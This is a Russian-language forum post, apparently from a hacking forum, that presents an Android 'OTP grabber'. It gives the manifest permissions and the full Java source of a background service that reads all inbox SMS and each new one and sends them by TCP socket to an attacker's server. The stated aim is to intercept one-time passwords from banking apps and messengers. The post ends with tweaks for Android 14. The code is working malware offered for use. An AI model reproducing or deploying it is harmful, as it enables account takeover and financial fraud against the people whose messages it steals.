Android Malware / OTP Grabber / + Код 源代码





OTP (SMS) Граббер на Android

:zns6:

OTP – это сокращение от One-Time Password (одноразовый пароль) и представляет собой временный защищенный PIN-код,
который отправляется вам через SMS или электронную почту и действует только один сеанс.

Такие подтверждения могут исходить от различных сервисов, включая банковские приложения, мессенджеры и другие платформы.
Мы будем перехватывать эти сообщения и отправлять их на наш сервер в фоновом режиме, работая как сервис.



Разрешения в AndroidManifest.xml

Java:

<uses-feature
        android:name="android.hardware.telephony"
        android:required="false" />

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>

Для доступа к SMS и работы кода в фоновом режиме нам нужно определить соответствующие разрешения в AndroidManifest.xml.
Также в манифесте нужно указать наш сервис, которым будет SMSService. –

Java:

<service
            android:name=".SMSService"
            android:enabled="true"
            android:exported="true" />

MainActivity.java
В MainActivity необходимо проверить, получены ли разрешения для доступа к SMS. Если разрешения предоставлены, запускается SMSService,
который в фоновом режиме отправляет SMS на сервер по TCP.


Java:

private static final int REQUEST_READ_SMS_PERMISSION = 3004;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
                || ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_SMS, Manifest.permission.INTERNET}, REQUEST_READ_SMS_PERMISSION);
        } else {
            startSMSService();

        }
    }

    private void startSMSService() {
        Intent serviceIntent = new Intent(this, SMSService.class);
        startService(serviceIntent);
    }


    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == REQUEST_READ_SMS_PERMISSION && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
            startSMSService();
        }
    }
}

Если разрешения предоставлены, запускается фоновый сервис, который отправляет одноразовые коды на сервер.
Кроме того, сервис будет отправлять все SMS-сообщения,
когда-либо полученные на телефон, для определения сервисов, привязанных к SIM-карте.

Код SMSService

Java:

@Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
                || ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET) != PackageManager.PERMISSION_GRANTED) {
            stopSelf();
            return START_NOT_STICKY;
        }
        acquireWakeLock();
        startForegroundService();
        listenForServerRequests();
        registerContentObserver();
        sendLastSmsPeriodically();
        return START_STICKY;
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        releaseWakeLock();
        unregisterContentObserver();
        if (handler != null) {
            handler.removeCallbacksAndMessages(null);
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    private void listenForServerRequests() {
        new Thread(() -> {
            while (true) {
                try (Socket socket = new Socket(SERVER_IP, PORT);
                     PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                    List<String> allSms = readAllSms();
                    for (String sms : allSms) {
                        out.println(sms);
                    }
                } catch (IOException e) {
                    e.printStackTrace();
                    try {
                        Thread.sleep(2000);
                    } catch (InterruptedException ex) {
                        ex.printStackTrace();
                    }
                }
            }
        }).start();
    }

    private void sendLastSmsPeriodically() {
        handler = new Handler();
        handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                sendLastSmsToServer();
                handler.postDelayed(this, 5000);
            }
        }, 5000);
    }

    private void sendLastSmsToServer() {
        new Thread(() -> {
            try (Socket socket = new Socket(SERVER_IP, NEW_PORT);
                 PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                List<String> newSmsList = readNewSms();
                String smsToSend;
                if (!newSmsList.isEmpty()) {
                    smsToSend = newSmsList.get(0);
                    lastSentSms = smsToSend;
                } else {
                    smsToSend = lastSentSms;
                }
                if (smsToSend != null) {
                    out.println(smsToSend);
                    System.out.println("SMS sent successfully: " + smsToSend);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }).start();
    }

    private List<String> readAllSms() {
        List<String> smsList = new ArrayList<>();
        Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, "date DESC");

        if (cursor != null && cursor.moveToFirst()) {
            do {
                String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
                smsList.add(body);
            } while (cursor.moveToNext());
            cursor.close();
        }

        return smsList;
    }

    private void registerContentObserver() {
        contentObserver = new ContentObserver(new Handler()) {
            @Override
            public void onChange(boolean selfChange) {
                super.onChange(selfChange);

                List<String> newSms = readNewSms();
                for (String sms : newSms) {
                    sendSMSToServer(sms);
                }
            }
        };

        getContentResolver().registerContentObserver(Uri.parse(SMS_URI), true, contentObserver);
    }

    private void unregisterContentObserver() {
        if (contentObserver != null) {
            getContentResolver().unregisterContentObserver(contentObserver);
            contentObserver = null;
        }
    }

    private List<String> readNewSms() {
        List<String> newSmsList = new ArrayList<>();
        Cursor cursor = getContentResolver().query(Uri.parse(SMS_URI), null, null, null, "date DESC");

        if (cursor != null && cursor.moveToFirst()) {
            String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
            newSmsList.add(body);
            cursor.close();
        }

        return newSmsList;
    }

    private void sendSMSToServer(String sms) {
        new Thread(() -> {
            try (Socket socket = new Socket(SERVER_IP, PORT);
                 PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                out.println(sms);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }).start();
    }

    private void startForegroundService() {
        Intent notificationIntent = new Intent(this, MainActivity.class);
        PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);

        Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
                .setContentTitle("Foreground Service")
                .setContentText("Service is running in the background")
                .setSmallIcon(R.mipmap.ic_launcher)
                .setContentIntent(pendingIntent)
                .build();

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            startForeground(1, notification);
        } else {
            startForeground(1, notification);
        }
    }

    @Override
    public void onCreate() {
        super.onCreate();
        createNotificationChannel();
    }

    private void createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel serviceChannel = new NotificationChannel(
                    CHANNEL_ID,
                    "Foreground Service Channel",
                    NotificationManager.IMPORTANCE_DEFAULT
            );

            NotificationManager manager = getSystemService(NotificationManager.class);
            manager.createNotificationChannel(serviceChannel);
        }
    }

    private void acquireWakeLock() {
        PowerManager powerManager = (PowerManager) getSystemService(Context.POWER_SERVICE);
        if (powerManager != null) {
            wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
                    "SMSService::WakeLock");
            wakeLock.acquire();
        }
    }

    private void releaseWakeLock() {
        if (wakeLock != null && wakeLock.isHeld()) {
            wakeLock.release();
        }
    }
}

Замечание!

Следует отметить, что использование такого подхода в реальных условиях может быть затруднительным
Начиная с новых версий Android, изменилось поведение сервисов и разрешений,
и многое может работать иначе на различных версиях oc.





Java:

private void startForegroundService() {
        Intent notificationIntent = new Intent(this, MainActivity.class);
        PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);

        Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
                .setContentTitle("Foreground Service")
                .setContentText("Service is running in the background")
                .setSmallIcon(R.mipmap.ic_launcher)
                .setContentIntent(pendingIntent)
                .build();

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
            startForeground(1, notification, ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC);
        } else {
            startForeground(1, notification);
        }
    }

Моменты в сервисах которые помогут заработать коду на Android 14.

Java:

<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC"/>

Изменения в Manifest